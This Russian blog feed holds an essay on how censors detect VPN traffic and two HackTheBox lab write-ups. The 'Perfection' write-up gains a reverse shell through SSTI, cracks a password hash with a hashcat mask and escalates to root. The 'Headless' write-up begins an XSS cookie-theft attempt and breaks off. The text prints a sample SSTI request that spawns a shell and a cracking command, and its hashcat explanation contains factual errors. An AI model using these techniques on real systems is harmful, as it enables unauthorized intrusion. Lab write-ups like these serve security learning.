<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>zluukka</title><author><name>zluukka</name></author><id>https://teletype.in/atom/zluukka</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/zluukka?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@zluukka?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=zluukka"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/zluukka?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-09-15T08:47:03.874Z</updated><entry><id>zluukka:ggPlDVf2qKe</id><link rel="alternate" type="text/html" href="https://teletype.in/@zluukka/ggPlDVf2qKe?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=zluukka"></link><title>Массовая блокировка VPN. Как с этим бороться и можно ли оставаться анонимным в сети?</title><published>2024-07-06T13:08:36.476Z</published><updated>2024-07-06T15:42:07.956Z</updated><summary type="html">Disclaimer: Эта статья носит исключительно развлекательный характер. Все весь текст является вымыслом, в нем нет ни слова правды и все это преследует лишь одну цель – поднять настроение, в том числе лично мне.</summary><content type="html">
  &lt;p id=&quot;0KLH&quot;&gt;&lt;em&gt;Disclaimer: Эта статья носит исключительно развлекательный характер. Весь текст является вымыслом, в нем нет ни слова правды и все это преследует лишь одну цель – поднять настроение, в том числе лично мне.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;0KLH&quot;&gt;Приветствую вас, дорогие читатели, сегодня рассмотрим с вами тему анонимности в нашей любимой глобальной паутине под названием интернет.&lt;/p&gt;
  &lt;p id=&quot;0KLH&quot;&gt;Напомню вам , что с 1 марта 2024 года в России действует запрет на распространение информации, которая рекламирует или популяризирует средства обхода блокировок в виде VPN-сервисов. И буквально недавно Роскомнадзор добился блокировки 25 приложений VPN-сервисов в App Store.&lt;/p&gt;
  &lt;p id=&quot;0KLH&quot;&gt;Развитие тенденции блокировок VPN-сервисов в нынешних реалиях ничего кроме негатива лично у меня не вызывает. Мы сейчас не говорим , про грубое нарушение законодательства , покупку наркотиков в даркнете, взлом различных площадок и т.д. Речь идет про обыденные сервисы для &amp;quot;простых&amp;quot; пользователей.&lt;br /&gt;Представьте ситуацию, что вы хотите оплатить подписку на нетфликс или зайти в инстаграмм. Именно для этого и нужны нам эти &amp;quot;опасные&amp;quot; приложения.&lt;br /&gt;Если так и продолжится , то обычным пользователям нужно будет нормально так заморочиться , чтобы получить доступ к привычным сайтам.&lt;/p&gt;
  &lt;p id=&quot;0KLH&quot;&gt;Сейчас думаю многие скажут , что есть такие решения как OpenVPN и WireGuard. Но есть одно &amp;quot;но&amp;quot; ... WireGuard - это протокол, который всеми своими пакетами просто кричит &amp;quot;Смотрите все, смотрите, я - VPN&amp;quot;. И это, в принципе, не удивительно, потому что авторы на сайте проекта прямым текстом пишут, что обфускация не входила и не будет входить в их цели и планы.&lt;br /&gt;Аналогично с OpenVPN. Ведь наши братья китайцы научились выявлять и банить на своем великом китайском фаерволе. &lt;br /&gt;&lt;strong&gt;1:0 в пользу цензоров. &lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;2H5S&quot;&gt;&lt;strong&gt;&lt;br /&gt;Хорошо, а что если вместо палевных протоколов мы будем использовать TLS-VPN? Например такие решения как: SSTP, AnyConnect/OpenConnect? &lt;/strong&gt;Трафик в них ходит внутри TLS, начальная установка соединения производится по HTTP - что должно быть совсем никак неотличимо от обычного подключения к любому обычному сайту. &lt;br /&gt;Согласно статье на сайте &lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp/7e5b2134-b4bf-435a-85bf-bfe0313fd889&quot; target=&quot;_blank&quot;&gt;microsoft &lt;/a&gt;запрос, отправляемый на сервер SSTP, использует HTTP-команду SSTP_DUPLEX_POST. А это значит , что цензор может отправить на наш сервер следующий HTTP-запроc {наш URL}/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75} и сервер в респонде с радостью сообщит , что он MS SSTP VPN.&lt;/p&gt;
  &lt;p id=&quot;5vnk&quot;&gt;&lt;strong&gt;AnyConnect/OpenConnect&lt;/strong&gt; при обращении по &lt;em&gt;/&lt;/em&gt; или по &lt;em&gt;/auth&lt;/em&gt; ответят очень характерной XML&amp;#x27;кой. Избавиться от этого не получится - это определено в протоколах, и именно через эту логику работают VPN-клиенты.&lt;br /&gt;&lt;strong&gt;2:0 в пользу цензоров.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;0i6y&quot;&gt;&lt;strong&gt;Хорошо, мы имеем TLS соединение, но ведь можно поставить реверс-прокси и фильтровать запросы по SNI (server name identification). Все наши подключения с определенным доменом будем отправлять к нам на VPN-сервер, а все остальные - на безобидный сайт с котиками и собачками. Или мы можем даже попробовать спрятаться за какой-нибудь CDN(Content Delivery Network) - не забанят же они весь CDN, правда, и наш трафик из общего трафика ко всей CDN выцепить не смогут, да?&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;C74F&quot;&gt;В нынешних версиях TLS поле SNI не шифруется, соответственно цензоры легко его подсмотрят и сделают запрос именно с тем именем домена, что надо.&lt;/p&gt;
  &lt;p id=&quot;LsU8&quot;&gt;Но ведь есть расширение&lt;strong&gt; Encrypted Client Hello (ECH, ранее изветсное как eSNI).&lt;/strong&gt; На него можно не рассчитывать: во-первых, оно находится еще в состоянии Draft и неизвестно когда будет принято и повсеместно использоваться, а во-вторых, цензоры могут взять и просто-напросто заблокировать все соединения TLSv1.3 с ECH, как это сделали в Китае.&lt;br /&gt;&lt;strong&gt;3:0 в пользу цензоров. &lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;yy0a&quot;&gt;&lt;strong&gt;Хорошо, допустим у нас что-то более редкое и незаметное. Казалось бы, все хорошо?&lt;/strong&gt;&lt;br /&gt;Тут стоит вспомнить про &amp;quot;пакет Яровой&amp;quot;? Тот самый, который требует, чтобы интернет-сервисы сохраняли все метаданные сессий, а интернет-провайдеры так вообще записывали дампы трафика своих абонентов? &lt;br /&gt;Некоторые люди смеялись надо цензорами - мол &amp;quot;Ну и тупые же они, что им дадут гигабайты зашифрованных данных, которые они все равно не расшифруют?&amp;quot;&lt;/p&gt;
  &lt;p id=&quot;gyWr&quot;&gt;А вот что...&lt;/p&gt;
  &lt;p id=&quot;ikbw&quot;&gt;Пользуетесь вы, допустим, своим туннельчиком, смотрите всякие там запрещенные сайты. А потом - клик! - и случайно заходите через свой туннель на какой-нибудь отечественный сайт или сервис, замеченный в сотрудничестве с государством - условные там VK/Mail.ru/Яндекс или еще что-нибудь. Или на каком-нибудь безобидном сайте попадается виджет, баннер или счетчик от них же. Или кто-нибудь в комментарии вбросит ссылку на какой-нибудь сайт-honeypot, косящий под новостной ресурс, и вы на нее нажмете.&lt;/p&gt;
  &lt;p id=&quot;rDUF&quot;&gt;И вот тут произойдет самое интересное. Что внутри TLS, что внутри SSH, что внутри OpenVPN+xor, данные передаются в зашифрованном виде, и их не расшифровать. Но вот &amp;quot;внешняя форма&amp;quot; (размеры пакетов и тайминги между ними) у зашифрованных данных точно такая же, как и у нешифрованных. Цензоры видят, что от абонента к какому-то неизвестному серверу и обратно ходит трафик, а поток со стороны какого-нибудь подконтрольного сервиса видит, что с того же IP-адреса, что у &amp;quot;неизвестного сервера&amp;quot;, туда прилетают какие-то запросы и улетают ответы, и - вот интересно - размеры пакетов и временные моменты практически полностью совпадают. Что весьма характерно говорит о том, что &lt;em&gt;у нас тут прокси, возможно VPN, Андрюха, по коням!&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;HMqY&quot;&gt;И да, если вы поступите мудрее и у вашего сервера будет два IP-адреса, один на вход, а другой на выход, то сопоставить ваш &amp;quot;вход&amp;quot; и &amp;quot;выход&amp;quot; по адресам не получится, но по &amp;quot;форме&amp;quot; переданных данных, хоть и ощутимо сложнее, но при желании по прежнему можно.&lt;br /&gt;&lt;strong&gt;4:0 в пользу цензоров.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;9gew&quot;&gt;Подводя итог , можно сказать что обход блокировок&lt;em&gt; - &lt;/em&gt;это постоянная борьба щита и меча, и одновременно игра в кошки-мышки&lt;em&gt;: &lt;/em&gt;&lt;s&gt;иногда ты ешь медведя, иногда медведь ест тебя&lt;/s&gt; иногда ты догоняющий, иногда догоняемый.&lt;/p&gt;
  &lt;p id=&quot;NwZC&quot;&gt;В любом случае рано или поздно, не имея возможности противостоять подобному свободолюбию технически, государство может начать противостоять административно , причем так, что с вашей стороны, в свою очередь, технически противостоять может уже не получиться.&lt;/p&gt;
  &lt;p id=&quot;NwZC&quot;&gt;Всем мира, любви и добра. See you soon.&lt;/p&gt;

</content></entry><entry><id>zluukka:hVZpRjF7tYe</id><link rel="alternate" type="text/html" href="https://teletype.in/@zluukka/hVZpRjF7tYe?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=zluukka"></link><title>(Write-up) Ломаем машину &quot;Perfection&quot; на платформе HackTheBox</title><published>2024-06-22T19:39:00.810Z</published><updated>2024-06-22T19:39:00.810Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/df/7a/df7ad9dd-2630-4dec-b67c-ef197cdc134e.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/15/1a/151a63e0-2321-4349-824b-23915dd1e596.png&quot;&gt;Доброго времени суток , дорогие читатели! Сегодня мы с вами окунемся в дебри SSTI , которая поможет нам получить реверс-шелл, а также побрутим хэш c помощью утилиты hashcat</summary><content type="html">
  &lt;p id=&quot;t6co&quot;&gt;Доброго времени суток , дорогие читатели! Сегодня мы с вами окунемся в дебри SSTI , которая поможет нам получить реверс-шелл, а также побрутим хэш c помощью утилиты &lt;strong&gt;hashcat&lt;/strong&gt; &lt;/p&gt;
  &lt;figure id=&quot;kb5Y&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/15/1a/151a63e0-2321-4349-824b-23915dd1e596.png&quot; width=&quot;338&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;N2bn&quot;&gt;Разведка&lt;/h2&gt;
  &lt;p id=&quot;lbCe&quot;&gt;Первым делом просканируем целовой хост на открытые порты:&lt;/p&gt;
  &lt;figure id=&quot;v0Dj&quot; class=&quot;m_original&quot; data-caption-align=&quot;center&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/79/e9/79e9dce7-b8e3-4552-aa20-075cacbef8a3.png&quot; width=&quot;649&quot; /&gt;
    &lt;figcaption&gt;Сканирование хоста с помощью утилиты &amp;quot;nmap&amp;quot;&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;MBeT&quot;&gt;Ключ &lt;strong&gt;-А&lt;/strong&gt; позволяет нам детекить операционную систему, версию, различные сценарии&lt;/p&gt;
  &lt;p id=&quot;x5wq&quot;&gt;Далее пофаззим директории с помощью инструмента &lt;strong&gt;dirsearch:&lt;/strong&gt;&lt;/p&gt;
  &lt;figure id=&quot;d16X&quot; class=&quot;m_original&quot; data-caption-align=&quot;center&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/61/ea/61eae0a3-5f80-489e-9965-8c1d0423bbf8.png&quot; width=&quot;683&quot; /&gt;
    &lt;figcaption&gt;Фаззинг директорий с помощью инструмента dirsearch&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4wVN&quot;&gt;Ничего интересного фаззинг нам не предоставил, перейдем в каталог /about:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;zezE&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/35/8e/358eb3ea-b3cc-4d7c-8f3f-c4bd745ac95a.png&quot; width=&quot;640&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5MfC&quot;&gt;Изучив сайт , перейдем в каталог /&lt;strong&gt;weight-grade-calc &lt;/strong&gt;и увидим следующую картину:&lt;/p&gt;
  &lt;figure id=&quot;reki&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9b/17/9b179bb1-4451-4318-bdf0-7274d37f0cff.png&quot; width=&quot;510&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rUC1&quot;&gt;Перед нами веб тулза , которая позволяет рассчитать вес оценок для различных предметов&lt;/p&gt;
  &lt;p id=&quot;6SNe&quot;&gt;Используя BurpSuite получим информацию , что сервер поднят на WEBrick 1.7.0, который, в свою очередь, основан на Ruby 3.0.2. Это все, что нам нужно знать, чтобы начать эксплуатацию.&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;ky44&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6d/b5/6db5b66d-5aa5-45fb-95b6-73bbf3a88718.png&quot; width=&quot;654&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Wb0T&quot;&gt;&lt;strong&gt;Получаем User флаг&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;ayqP&quot;&gt;Изучая информацию про WebRick и Ruby, я наткнулся на то, что существует 3 шаблона Ruby: ERB, HAML и Slim, из которых ERB является более распространенным, так как он устанавливается по умолчанию. В поисках полезных данных о Ruby ERB exploit наткнулся на этот &lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby&quot; target=&quot;_blank&quot;&gt;ресурс&lt;/a&gt;:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;Z1EF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b6/a0/b6a01ba1-cca5-4cb8-83c6-ecfc1f1d2d0d.png&quot; width=&quot;747&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;oKWf&quot;&gt;На скриншоте выше представлен перечень полезных нагрузок для проверки на наличие уязвимости &lt;strong&gt;SSTI&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;TSmX&quot;&gt;&lt;br /&gt;&lt;strong&gt;SSTI (Server Side Template Injection)&lt;/strong&gt; - это уявимость, которая может возникнуть в веб-приложениях, когда злоумышленник может внедрить вредоносный код в шаблон на стороне сервера.&lt;/p&gt;
  &lt;p id=&quot;gpk5&quot;&gt;Под шаблоном на стороне сервера подразумевается файл или фрагмент кода, который определяет, как веб-приложение будет отображать данные пользователям. Обычно он выполняется на стороне сервера и генерирует динамический контент, который отправляется в браузер пользователя. При атаке SSTI злоумышленник может внедрить свой собственный код в шаблон на стороне сервера, что позволяет ему выполнять произвольный код на сервере, манипулировать данными или получать доступ к конфиденциальной информации.&lt;/p&gt;
  &lt;pre id=&quot;wdpX&quot;&gt;Пример вредносного HTTP-запроса злоумышленника:

GET /search?q={{import os; os.system(&amp;#x27;/bin/bash&amp;#x27;)}} HTTP/1.1
Host: example.com&lt;/pre&gt;
  &lt;p id=&quot;zymw&quot;&gt;Подтвердим нашу теорию про наличие SSTI на стороне сервера, перехватив POST HTTP-запрос Бурпом:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;wD27&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a2/23/a223a604-6790-437b-887d-c41f98327c7a.png&quot; width=&quot;974&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;j03T&quot;&gt;Можно заметить , что присутсвует базовая фильтрация ввода, а что если немного поменять полезную нагрузку? Попробовав много вариантов, я нашел обход фильтрации:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;jqay&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/80/78/8078cc5f-7e77-4abc-b689-7b1a6081b12e.png&quot; width=&quot;974&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GTLa&quot;&gt;Теперь дело за малым , начнем принимать соединения на наш кастомный порт с помощью &lt;strong&gt;netcat :&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;figure id=&quot;qpX2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/de/cf/decf6447-e6be-418b-8bd1-bc597468e2e5.png&quot; width=&quot;719&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UKq2&quot;&gt;И отправим POST запрос, который позволит получить реверс шелл на нашу машину:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;Nb8r&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/65/0f/650fc57e-4018-4cf6-a726-39a8d41b6444.png&quot; width=&quot;974&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;1JJU&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/98/74/9874423d-09d5-48b0-addc-84be4276fc10.png&quot; width=&quot;974&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;YSrN&quot;&gt;Бинго! Мы внутри. Теперь поизучаем каталоги , для получения нашего юзер флага:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;rIIq&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d9/ce/d9ce75e4-13a2-48ae-bc96-d28676654a4d.png&quot; width=&quot;684&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;huOP&quot;&gt;&lt;strong&gt;Эскалация привилегий&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;txML&quot;&gt;В результате изучения директорий я наткнулся на каталог &lt;strong&gt;/Migration&lt;/strong&gt;, в которой лежал файл с кредами от базы данных:&lt;/p&gt;
  &lt;figure id=&quot;ClQT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c5/ad/c5ad82cd-8a78-4b3f-8f40-c58126e8f07f.png&quot; width=&quot;666&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HVoO&quot;&gt;Проанализиурем наш хэш с помощью &lt;strong&gt;hashid&lt;/strong&gt;:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;ckPd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/27/39/27397a46-ae41-4a2d-bd7b-2c3b8ae94f0e.png&quot; width=&quot;674&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;l6iQ&quot;&gt;При дальнейшем изучении каталогов я нашел письмо со следующим содержанием:&lt;/p&gt;
  &lt;pre id=&quot;7hCG&quot;&gt;&amp;gt; cat /var/mail/susan

Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials (&amp;#x27;our&amp;#x27; including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student&amp;#x27;&lt;/pre&gt;
  &lt;p id=&quot;Tjns&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;wtgR&quot;&gt;Данное письмо содержит шаблон создания пароля . Поскольку у нас также есть хэш пароля, мы можем провести атаку по хэш-маске.&lt;/p&gt;
  &lt;p id=&quot;3zjY&quot;&gt;&lt;br /&gt;&lt;strong&gt;hashcat -m 1400 hash.txt -a 3 -d 1 susan_nasus_?d?d?d?d?d?d?d?d?d&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;d4nB&quot;&gt;&lt;strong&gt;Что делает каждая часть:&lt;/strong&gt;&lt;/p&gt;
  &lt;ul id=&quot;sRD0&quot;&gt;
    &lt;li id=&quot;ryU8&quot;&gt;&lt;strong&gt;-m 1400:&lt;/strong&gt; Указывает Hashcat использовать режим 1400, который соответствует алгоритму хеширования SHA-512/256, используемому bcrypt.&lt;/li&gt;
    &lt;li id=&quot;NIWJ&quot;&gt;&lt;strong&gt;hash.txt:&lt;/strong&gt; Это файл, содержащий хешированные пароли&lt;/li&gt;
    &lt;li id=&quot;LhYp&quot;&gt;&lt;strong&gt;-a 3:&lt;/strong&gt; Устанавливает тип атаки на перебор по маске (атака с использованием настраиваемой маски символов).&lt;/li&gt;
    &lt;li id=&quot;oo5x&quot;&gt;&lt;strong&gt;-d 1:&lt;/strong&gt; Указывает Hashcat использовать только одно ядро (GPU) в нашей системе. &lt;/li&gt;
    &lt;li id=&quot;u5Ri&quot;&gt;&lt;strong&gt;susan_nasus_?d?d?d?d?d?d?d?d?d?d:&lt;/strong&gt; Это маска, определяющая формат пароля, который мы будем брутить. &lt;/li&gt;
    &lt;ul id=&quot;AVNO&quot;&gt;
      &lt;li id=&quot;8UVg&quot;&gt;&lt;strong&gt;susan_nasus_&lt;/strong&gt; - Фиксированная часть пароля.&lt;/li&gt;
      &lt;li id=&quot;5bE0&quot;&gt;&lt;strong&gt;?d&lt;/strong&gt; - Представляет одну цифру (0-9). В маске 11 таких символов, что означает, что Hashcat будет проверять все возможные комбинации 11 цифр после &amp;quot;susan_nasus_&amp;quot;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;qQbm&quot;&gt;В результате получаем следующее:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;lmKe&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/55/95/5595206f-5bfc-4b07-a0cb-e6b2a372a33c.png&quot; width=&quot;974&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Mav1&quot;&gt;Получаем ROOT флаг&lt;/h2&gt;
  &lt;p id=&quot;6O7m&quot;&gt;Теперь у нас есть пароль, давайте подключимся по SSH к этой учетке и проверим ее права в системе:&lt;/p&gt;
  &lt;figure id=&quot;xZkQ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b8/44/b844d789-0486-4b59-8420-a876a23c359a.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Cb7R&quot;&gt;Отлично, запустим нашу root-оболочку&lt;/p&gt;
  &lt;pre id=&quot;Cs1L&quot;&gt;&amp;gt; sudo su&lt;/pre&gt;
  &lt;p id=&quot;nyyT&quot;&gt;И заберем наш root флаг:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;q8zN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0d/f2/0df29ed4-ca1b-4da3-a3e6-6209165e71e9.png&quot; width=&quot;375&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;JoWx&quot; data-align=&quot;center&quot;&gt;Машина взломана!&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;Odtu&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0e/17/0e1736df-dfbc-4238-b8a5-c35a3ccb737a.png&quot; width=&quot;541&quot; /&gt;
  &lt;/figure&gt;

</content></entry><entry><id>zluukka:headless</id><link rel="alternate" type="text/html" href="https://teletype.in/@zluukka/headless?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=zluukka"></link><title>Write-up на машину &quot;Headless&quot; на платформе HackTheBox by zluukka</title><published>2024-04-02T17:42:47.764Z</published><updated>2024-04-02T17:46:55.587Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/aa/2e/aa2e9af7-2749-479d-8169-dfa0ac0c68bc.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/e0/aa/e0aa8fbd-5636-4c36-9cdc-d619d071ca66.png&quot;&gt;Доброго времени суток, дорогие читатели. На прошлых выходных взломал интересную машинку «Headless». Сегодня мы с вами пошагово разберем процесс получения первоначального доступа и последующей эскалацией привилегий. И так поехали!</summary><content type="html">
  &lt;p id=&quot;z0EY&quot;&gt;&lt;strong&gt;Доброго времени суток, дорогие читатели. На прошлых выходных взломал интересную машинку «Headless». Сегодня мы с вами пошагово разберем процесс получения первоначального доступа и последующей эскалацией привилегий. И так поехали!&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;hGiG&quot;&gt;Проверим доступность нашей тачки с помощью утилиты &lt;code&gt;ping:&lt;br /&gt;&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;Yu0q&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e0/aa/e0aa8fbd-5636-4c36-9cdc-d619d071ca66.png&quot; width=&quot;733&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qB0F&quot;&gt;Также добавим адрес данной машины в файл &lt;code&gt;/etc/hosts&lt;/code&gt; , чтобы к машинке можно было обращаться по домену:&lt;/p&gt;
  &lt;figure id=&quot;knll&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bb/99/bb997a72-fe95-4288-9db5-b4f9e6c00dc5.png&quot; width=&quot;734&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;7ZZb&quot;&gt;Разведка:&lt;/h2&gt;
  &lt;p id=&quot;IthG&quot;&gt;По станадрту для разведки используем утилиту для сканирования портов &lt;code&gt;nmap:&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;ErBP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f3/a4/f3a43736-b08c-44c5-ba6b-184f60b0edc5.png&quot; width=&quot;739&quot; /&gt;
    &lt;figcaption&gt;Результаты сканирования нашего хоста&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Io9B&quot;&gt;Как мы можем заметить у нас открыты два порта: это 22 , на котором висит ssh-service и 5000/tcp . Можно подметить интересный HTTP-Request, в котором у нас есть HTML-документ. Давайте проверим данный порт в вэбчике:&lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;MP4V&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/07/7c/077c433b-9c9a-4eed-a68b-e12487b9a481.png&quot; width=&quot;739&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;N3F2&quot;&gt;Пока ничего инетересного, попробуем пофаззить каталоги с помощью утилиты &lt;code&gt;dirsearch:&lt;br /&gt;&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;BkFg&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7d/62/7d62535f-5401-4a59-9bb1-a639b298f6fa.png&quot; width=&quot;749&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Nb5k&quot;&gt;Фаззинг директорий выдал нам 2 рабочие, причем каталог /dashboard отвечает нам кодом &lt;code&gt;401 HTTP. &lt;/code&gt;Код ответа на статус ошибки&lt;code&gt; HTTP &lt;strong&gt;401 Unauthorized&lt;/strong&gt;&lt;/code&gt; клиента указывает, что запрос не был применён, поскольку ему не хватает действительных учётных данных для целевого ресурса. &lt;/p&gt;
  &lt;p id=&quot;2SlS&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;KWEI&quot;&gt;Путь /support ведет нас на следующую страницу, сразу приходит идея проверить поля на наличие уязвимости типа &lt;code&gt;Cross-Site Scripting&lt;/code&gt; ( XSS в простонародье ):&lt;/p&gt;
  &lt;figure id=&quot;TpmN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/71/4f/714ff7f6-9599-45a2-b8b5-a8518fce27c5.png&quot; width=&quot;733&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;S34S&quot;&gt;В результате получаем вот такой ответ:&lt;/p&gt;
  &lt;figure id=&quot;gk7g&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d8/cf/d8cf3ee6-7087-49b6-80f5-727b369c5979.png&quot; width=&quot;729&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZuQ3&quot;&gt;Сайт уведомляет нас о попытке прокинуть полезную нагрузку в форму. Изучив &lt;code&gt;HTTP-Request&lt;/code&gt;можно обратить внимание на поле &lt;code&gt;Cookie&lt;/code&gt;. Выстраивая цепочку связей , мы можем предположить , что нам нужны куки админа , чтобы получить доступ к каталогу &lt;code&gt;/dashboard&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;1tl4&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;evFe&quot;&gt;Используем Burp Suite в качестве прокси-сервера, чтобы можно было подменять наши параметры во время &lt;code&gt;POST&lt;/code&gt; запросов. Мы также помним , что сайт потенциально уязвим под &lt;code&gt;XSS&lt;/code&gt;,а значит поспамим различными полезными нагрузками в загаловке &lt;code&gt;User-Agent&lt;/code&gt; и в полях запроса :&lt;/p&gt;
  &lt;figure id=&quot;8jNl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/92/2c/922ca885-76e7-4c83-adb5-52ea488497ea.png&quot; width=&quot;782&quot; /&gt;
  &lt;/figure&gt;
